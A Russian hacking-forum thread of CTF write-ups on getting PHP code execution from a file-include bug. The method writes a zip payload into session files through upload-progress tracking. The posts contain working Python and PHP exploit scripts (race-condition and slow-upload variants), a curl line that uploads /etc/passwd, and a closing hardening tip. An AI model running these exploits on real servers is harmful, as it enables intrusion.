HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 29.06.2019, 10:14
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Прохождения участников:

Цитата:
Сообщение от =HALK=  

Эксплойт с гонкой, которую я всегда выигрываю со своим пингом)
Код:
import requests
from threading import Thread
import base64
import time

data = {'PHP_SESSION_UPLOAD_PROGRESS':base64.b64decode('AAAAAAAAAAAAAAIAAABmL1BLAwQKAAAAAACdVdBOUIPMfRIAAAASAAAACgAAAGYvdGVzdC5waHA8P3BocCBwaHBpbmZvKCk7Pz5QSwMECgAAAAAAebLPTlrf2AAGAQAABgEAAAkAAABpbmRleC5waHA8P3BocA0KDQppZihpc3NldCgkX0dFVFsnZiddKSAmJiBiYXNlbmFtZSgkX0dFVFsnZiddKT09PSd0ZXN0LnBocCcpew0KCWluY2x1ZGUoJF9HRVRbJ2YnXSk7DQp9ZWxzZXsNCmVjaG8gJzxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjgsIDE0LCAxNCk7Ij48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIHN0eWxlPSIgaGVpZ2h0OiAxMDAwcHg7IiBzcmM9ImRlcmV2YS5qcGciPjwvZGl2PjwvYm9keT4nOw0KDQp9DQo/Pg0KUEsBAj8AFAAAAAAAlFXQTgAAAAAAAAAAAAAAAAIAJAAAAAAAAAAQAAAAAAAAAGYvCgAgAAAAAAABABgAJoqHWhck1QEmiodaFyTVAb/vPUwXJNUBUEsBAj8ACgAAAAAAnVXQTlCDzH0SAAAAEgAAAAoAJAAAAAAAAAAgAAAAIAAAAGYvdGVzdC5waHAKACAAAAAAAAEAGACYR0ZlFyTVAVKb3lYXJNUBUpveVhck1QFQSwECPwAKAAAAAAB5ss9OWt/YAAYBAAAGAQAACQAkAAAAAAAAACAAAABaAAAAaW5kZXgucGhwCgAgAAAAAAABABgA364RTa8j1QEALWVxAyLVAW8KaNiDDNUBUEsFBgAAAAADAAMACwEAAIcBAAAAAA==')}
files = {'file':'A'*5000*1024}
cookies = {'PHPSESSID':'test'}

def send():
    requests.post('http://task.antichat.com:10008/', cookies=cookies, data=data, files=files)

def get():
    time.sleep(0.2)
    r = requests.get('http://task.antichat.com:10008/?f=zip:///var/lib/php/sessions/sess_test%23f/test.php')
    print r.text.encode("utf-8")

thread1 = Thread(target=send)
thread2 = Thread(target=get)

thread1.start()
thread2.start()
thread1.join()
thread2.join()
Цитата:
Сообщение от nix_security  

Привет, решил таск, пока через race condition
Есть две проблемы:
1. Необходимо добиться RCE через LFI. Тут
https://github.com/orangetw/My-CTF-W...-php-challenge
узнал описано, что создать сессию в php возможно без session_start если воспользоваться параметром
PHP_SESSION_UPLOAD_PROGRESS.
2. Необходимо забайпасить функцию basename. На ум сразу приходит враппер zip://, который разжевали в предыдущем таске.
Итак, делаем архив:
Код:
zip tmp.zip ./tmp/test.php;
ehco -n "upload_progress_" > temp2.zip; cat tmp.zip> temp2.zip;
zip -F temp2.zip --out ./test-res.zip
Модифицируем эксплойт китайцев:
Код:
#!/usr/bin/env python3

import requests
import sys
from multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://task.antichat.com:10008/'
sess_name = 'test'

headers = {
   'Connection': 'close',
   'Cookie': 'PHPSESSID=' + sess_name
}

payload = open('test-res.zip', 'rb').read()
print(payload)

data = {
   'PHP_SESSION_UPLOAD_PROGRESS': payload
   }

def runner_post(i):
   fp = open('test', 'rb')
   while 1:
       r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
   fp.close()

def runner_get(i):
   while 1:
       r = requests.get(HOST + "index.php?f=zip:///var/lib/php/sessions/sess_test%23tmp/test.php")
       if "phpinfo()" in r.text:
           print(r.text)
           break

if sys.argv[1] == '1':
   runner = runner_get
else:
   runner = runner_post

pool = ThreadPool(5)
res = pool.map_async(runner,range(5)).get(0xffff)
Запускаем и через пару минут видим phpinfo)
P.S. Способ без гонки, через slow query попробую отладить на днях
Цитата:
Сообщение от nix_security  

Привет!
Переделал эксплойт через slow query. Пэйлоад тот же, мы просто отправим http запрос на загрузку файла через сокет и после начала передачи поставим sleep. Важно, чтобы размер переданной части файла + заголовков был больше буфера. Тогда файл сессии флашнется на диск.
Заявленная длина передаваемого файла должна быть больше того, что мы передадим фактически. Корректную концовку запроса (конец файла\r\n + --boundary--\r\n) отправлять необязательно. Во время паузы у атакующего появляется окно, чтобы заинклудить пэйлоад:
Код:
#!/usr/bin/env python3

import os
import time
import socket
import requests

# Target
hostname = "task.antichat.com"
port = 10008

# Params
sess_name = 'test'
user_agent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

'''
payload gen:
   zip payload.zip ./tmp/test.php
   echo -n  "upload_progress_"  > ./tmp.zip
   cat payload.zip >> ./tmp.zip
   zip -F tmp.zip --out result.zip
   xxd result.zip
'''

payload = b'PK\x03\x04\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y' + \
         b'\x13\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x1c\x00tmp/test.p' + \
         b'hpUT\t\x00\x03\xc1t\x06]\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00' + \
         b'\x00\x00\x04\x00\x00\x00\x00\nPK\x01\x02' + \
         b'\x1e\x03\n\x00\x00\x00\x00\x00\x11\x87\xd0N\xe4\x9b\xc1Y\x13' + \
         b'\x00\x00\x00\x13\x00\x00\x00\x0c\x00\x18\x00\x00\x00\x00\x00' + \
         b'\x01\x00\x00\x00\xa4\x81\x10\x00\x00\x00tmp/test.phpUT\x05' + \
         b'\x00\x03\xc1t\x06]ux\x0b\x00\x01\x04\x00\x00\x00\x00\x04\x00' + \
         b'\x00\x00\x00PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00R\x00' + \
         b'\x00\x00i\x00\x00\x00\x00\x00\n'

def slow_post():

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.settimeout(20)
   s.connect((hostname, port))

   boundary = "d616cb44a03dd005920d52707fcfce66"

   body_len = 50000  # len must be more than real

   post_req = (
       "POST / HTTP/1.1\r\n" +
       "Host: %s\r\n" % hostname +
       "User-Agent: %s\r\n" % user_agent +
       "Cookie: PHPSESSID=%s;\r\n" % sess_name +
       "Accept: */*\r\n" +
       "Content-Length: %i\r\n" % body_len +
       "Accept-Encoding: text\r\n" +
       "Content-Type: multipart/form-data; boundary=%s\r\n" % boundary +
       "\r\n--%s\r\n" % boundary +
       "Content-Disposition: form-data;" +
       "name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n" +
       "\r\n"
   ).encode("utf-8") + \
       payload + (
        "\r\n--%s\r\n" % boundary +
        "Content-Disposition: form-data; name=\"f\"; filename=\"test\"\r\n" +
        "\r\n" + "test" * 10000  # chunk must be more than buffer
       ).encode("utf-8")

   print("Send slow post request")
   s.send(post_req)
   # pause file upload
   time.sleep(10)
   # file will not ever uploaded

def get_lfi():
   url = "http://%s:%i" % (hostname, port) + \
       "/index.php?f=zip:///var/lib/php/sessions/sess_%s%%23tmp/test.php" % sess_name

   print("Include session file:", url, sep="\n")

   headers = {
       "User-Agent": user_agent
   }
   r = requests.get(url, headers=headers)
   return r.text

if __name__ == '__main__':
   pid = os.fork()
   if pid:
       # wait for a start upload
       time.sleep(1)
       print("PHPINFO:", get_lfi(), sep="\n")
   else:
       slow_post()
P.S. Спасибо за таск!
Цитата:
Сообщение от joelblack  

Привет,спасибо за таск, очень зашел, открыл для себя в процессе решения некоторые фишки, о которых не знал ранее. Итак, тестировал все на
win10+OSPanel 5.3.0+php7.3.2+
Apache2.4
Пока читаем таск8, видим жирный намек на оранжа:
http://blog.orange.tw/2018/10/hitcon...challenge.html
Исходя из исследования оранжа, понимаем, что при определенных условиях мы можем писать произвольные данные в сессию. Но тут есть 2 проблемы:
Первая
Код:
if(isset($_GET['f']) && basename($_GET['f'])==='test.php') include($_GET['f']);
Из чего следует,что полностью все по ресерчу сделать не получится, так как все портит basename().
Вторая
Из-за настройки по умолчанию для session.upload_progress.prefix наш сессионный файл будет начинаться с префикса
upload_progress_
Смотрим
task7
:
/threads/470693/page-2#post-4310093
Обращаем внимание на архив
ZIP
. Идем в документацию PHP и смотрим соответствующий враппер:

https://www.php.net/manual/ru/wrappers.compression.php

Код:
zip://archive.zip#dir/file.txt
Так как можно обращаться непосредственно к файлам внутри архива,необходимо создать нужную структуру внутри ,и тогда basename() вернет true после чего
Первая
проблема решена.Далее как формировать архив, и как он решит вторую проблему описано в таске7, так что остается адаптировать готовое решение:
zip.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"upload_progress_"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"final.zip"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$evil_code[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]ZipArchive[/COLOR][COLOR="#007700"]();
if ([/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ZIPARCHIVE[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]CREATE[/COLOR][COLOR="#007700"])!==[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"]) {
exit([/COLOR][COLOR="#DD0000"]"could not open file[/COLOR][COLOR="#0000BB"]$local_path_to_archive[/COLOR][COLOR="#DD0000"]\n"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFromString[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]addFile[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$inc_file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"abs/test.php"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$zip[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]close[/COLOR][COLOR="#007700"]();[/COLOR][/COLOR] 
Затем, как сформировали готовый архив,вырезаем оттуда
upload_progress_
.После этого фактически
Вторая
проблема решена. Остается отправить все это дело.

По умолчанию
session.upload_progress.cleanup
в PHP
включен
. Это означает, что прогресс загрузки в сеансе будет очищен как можно скорее. На лицо
Race Condition
. У оранжа есть готовый POC, который не много изменив, можно применить и здесь. Я разбил его на 2 файла:

uploader_rc.py

Код:
import requests

HOST = 'http://localhost'
sess_name = 'test'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

while 1:
  fp = open('D:\\OSPanel\\domains\\task8\\test.txt', 'rb')
  r = requests.post(HOST, files={'f': fp}, data={'PHP_SESSION_UPLOAD_PROGRESS':open('D:\\OSPanel\\domains\\task8\\final.zip', 'rb').read()}, headers=headers)
  fp.close()
  print('Send!')
uploader_rc_get.py
Код:
import requests

HOST = 'http://localhost'
sess_name = 'test'

headers = {
    'Connection': 'close',
    'Cookie': 'PHPSESSID=' + sess_name
}

filename = 'zip://D:\\ospanel\\userdata\\temp\\sess_' + sess_name+ '%23abs/test.php'

while 1:
    url = '%s?f=%s' % (HOST, filename)
    r = requests.get(url, headers=headers)
    c = r.content
    if c.find('PHP Version') != -1:
      print(c)
      break
Остается лишь запустить 2 файла, после чего получим результат работы функции phpinfo();
Spoiler: img

 
Ответить с цитированием

  #12  
Старый 29.06.2019, 11:44
Тот_самый_Щуп
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами: 4812086

Репутация: 119
По умолчанию

Очень хороший таск. Как по мне, данная реализация в определенной степени зиродейная, и уж точно в паблике уникальная. Но действительно таск, и технология как уже писал Лайт, недооцененная.

Хочу отметить несколько интересных моментов, которые я видел в процессе отладки.

Когда решал первый пункт, я тупо воспользовался питоновским скриптом от Orange, который чутка подпилил под таск, и сначала отлаживался у себя на VPS, и в какой то момент остановив бесконечный цикл в питоновском скрипте - созданная сессия со всем содержимым перманентно осталась на сервере.

Полагаю, речь про уже упомянутый сегфолт. Но причину его появления, и как его вызвать в нужный момент, мне кажется искать нужно более глубже, в сорцах PHP, а тут мои полномочия уже как бы всё ©

По второму пункту, вот там уже начался хардкор. Связываться с питоном, и писать на нем решение не очень хотелось, поэтому ковырял возможности реализовать на однопоточном php, и вместо мультикурла решил воспользоваться вызовом системных команд.

Я для удобства у себя поставил в скрипт:

Код:
$file = '/var/lib/php/session/sess_iamorange';
if(file_exists($file)) { echo file_get_contents($file); }
И в процессе аплоада + обращению к скрипту наблюдал содержимое sess_iamorange. В общем суть такая, что у меня на моей VPS создавалась сессия, и была доступна для инклуда всего за 2 запроса, без всяких циклов. Пример кода:

Код:
shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');

$post = array(
'PHP_SESSION_UPLOAD_PROGRESS' => 'any_text',
'file' => '@/etc/passwd'
);
echo curl_post('http://my.vps',$post);
Суть кода, посылаем через системный курл спец запрос, не дожидаемся от курла ответа, фигачим второй запрос на php курле, и наблюдаем содержимое sess_iamorange

Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает.

Я полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение, которое и позволило всего двумя запросами создать и проинклудить сессию. Как мне кажется, в эту сторону ещё можно поковырять, и возможно найти способ решения представленной задачи всего за 2 HTTP запроса, без всяких циклов и подгадываний размеров файла, так как посылая в одном потоке запрос:

Код:
shell_exec('curl http://my.vps -H \'Cookie: PHPSESSID=iamorange\' -F \'PHP_SESSION_UPLOAD_PROGRESS=ZZtestZ\' -F \'file=@/etc/passwd\' > /dev/null 2>/dev/null &');
Мы всегда имеем один и тот же результат в bytes_processsed + в content_length. Да, понятное дело, что для .zip хвост неактуален, но возможно будет критичен для других реализаций чего-либо на основе принудительной сессии.

По факту я не доковырялся до истины, и реализовал свой колхозный вариант на основе циклов + системной команды в качестве второго потока, который кое как работал.
 
Ответить с цитированием

  #13  
Старый 15.07.2019, 08:30
dooble
Участник форума
Регистрация: 30.12.2016
Сообщений: 218
С нами: 4931606

Репутация: 138
По умолчанию

Последнее, о чем не сказали:

Отслеживание прогресса загрузки файлов с помощью сессий - не такая уж востребованная операция, чтобы в свете обнаруженных возможностей (а есть и другие идеи использования, надо тестить) в настройках php по дефолту иметь значение session.upload_progress.enabled= On- выглядит неоправданным риском.

И пока разработчики php еще не пришли к этому пониманию, рекомендуется на своих проектах самим выставить это значение в Off.

При проведении аудитов и пентестов, кстати, в отчете тоже можно рекомендовать такую настройку.
 
Ответить с цитированием

  #14  
Старый 16.07.2019, 12:05
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами: 5344886

Репутация: 441


По умолчанию

Цитата:
Сообщение от dooble  

И пока разработчики php еще не пришли к этому пониманию
"Гром не грянет, мужик не перекрестится" - негласный девиз разрабов PHP
 
Ответить с цитированием

  #15  
Старый 28.09.2019, 19:47
crlf
Постоянный
Регистрация: 18.03.2016
Сообщений: 663
С нами: 5344886

Репутация: 441


По умолчанию

Представилась возможность более плотно поковырять эту фичу, поэтому могу тоже немного поделиться своими ислледованиями.

PHP_SESSION_UPLOAD_PROGRESS как и задумано, исправно мониторит прогресс загрузки файла от клиента на сервер, скидывая данные в файл сессии для дальнейшей (возможной) обработки. Поэтому, как верно заметил @dooble, если файл большой, то время жизни "полезного" файла будет увеличиваться и тогда есть 100% шансы выйграть эту гонку за пару запросов.

Но нам так же ничего не мешает, растянуть передачу маленького файла на большой промежуток времени. Поэтому, осмелюсь предположить, что вот эти странные явления:

Цитата:
Сообщение от dooble  

файл сессии не очищался еще продолжительное время после окончания работы скрипта загрузки
Цитата:
Сообщение от Gorbachev  

Т.е. данным кодом, который я посылал с одного сервера на сервер своей VPS, я видел гарантированное срабатывание, создание, и подхватывание сессии. А вот попробовав откуда-то ещё послать такой же запрос на свою VPS - уже не срабатывает.
Цитата:
Сообщение от Gorbachev  

полагаю, тут имеют место быть "тайминги", т.е. по микросекундам с двух серверов было идеальное совпадение
ничто иное как подвисший или медленный коннект.

Вполне нормальный, жизненный кейс, когда у клиента замедлился интернет, ведь по сути для этого и нужен отображаемый прогресс загрузки, чтоб было веселей ждать

В общем, немного пошаманив, пришёл к такому варианту, где не досылается последний байт:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$scheme[/COLOR][COLOR="#007700"]= ([/COLOR][COLOR="#0000BB"]$ssl[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#DD0000"]'
ssl://'[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'-----------------------------xxxxxxxxxxxx'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$payload[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'-----------------------------xxxxxxxxxxxx'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Disposition: form-data; name="file"; filename="tricky_file.is"'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Type: text/plain'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#0000BB"]str_repeat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'A'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1024[/COLOR][COLOR="#007700"]*[/COLOR][COLOR="#0000BB"]1000[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'-----------------------------xxxxxxxxxxxx--'[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'POST '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]' HTTP/1.1'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:56.0) Gecko/20160101 Firefox/56.0'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Host: '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Cookie: PHPSESSID='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$session_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Content-Length: '[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]'Connection: close'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]stream_socket_client[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$scheme[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]$host[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"].([/COLOR][COLOR="#0000BB"]$scheme[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]443[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]80[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$errno[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$errstr[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]30[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$header[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$body[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]));
print[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'Session file name is: sess_'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$session_name[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'Hurry up :)'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$EOL[/COLOR][COLOR="#007700"];
[/
COLOR][COLOR="#0000BB"]sleep[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1000[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR] 
Никаких гонок при этом нет, файл лежит очень долго. По моим наблюдениям, до обрыва соединения, т.к. ждать больше получаса не хотелось По хорошему, этот "плохой" коннект должен обрываться по таймауту и возможно тут присутствует задел на развитие/усиление DOS, но это не в кассу.

Вариант получился сильно похожий на решение от @nix_secutiry, но уже в более универсальном варианте. Который будет удерживать файл, столько, сколько потребует ваш вектор.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.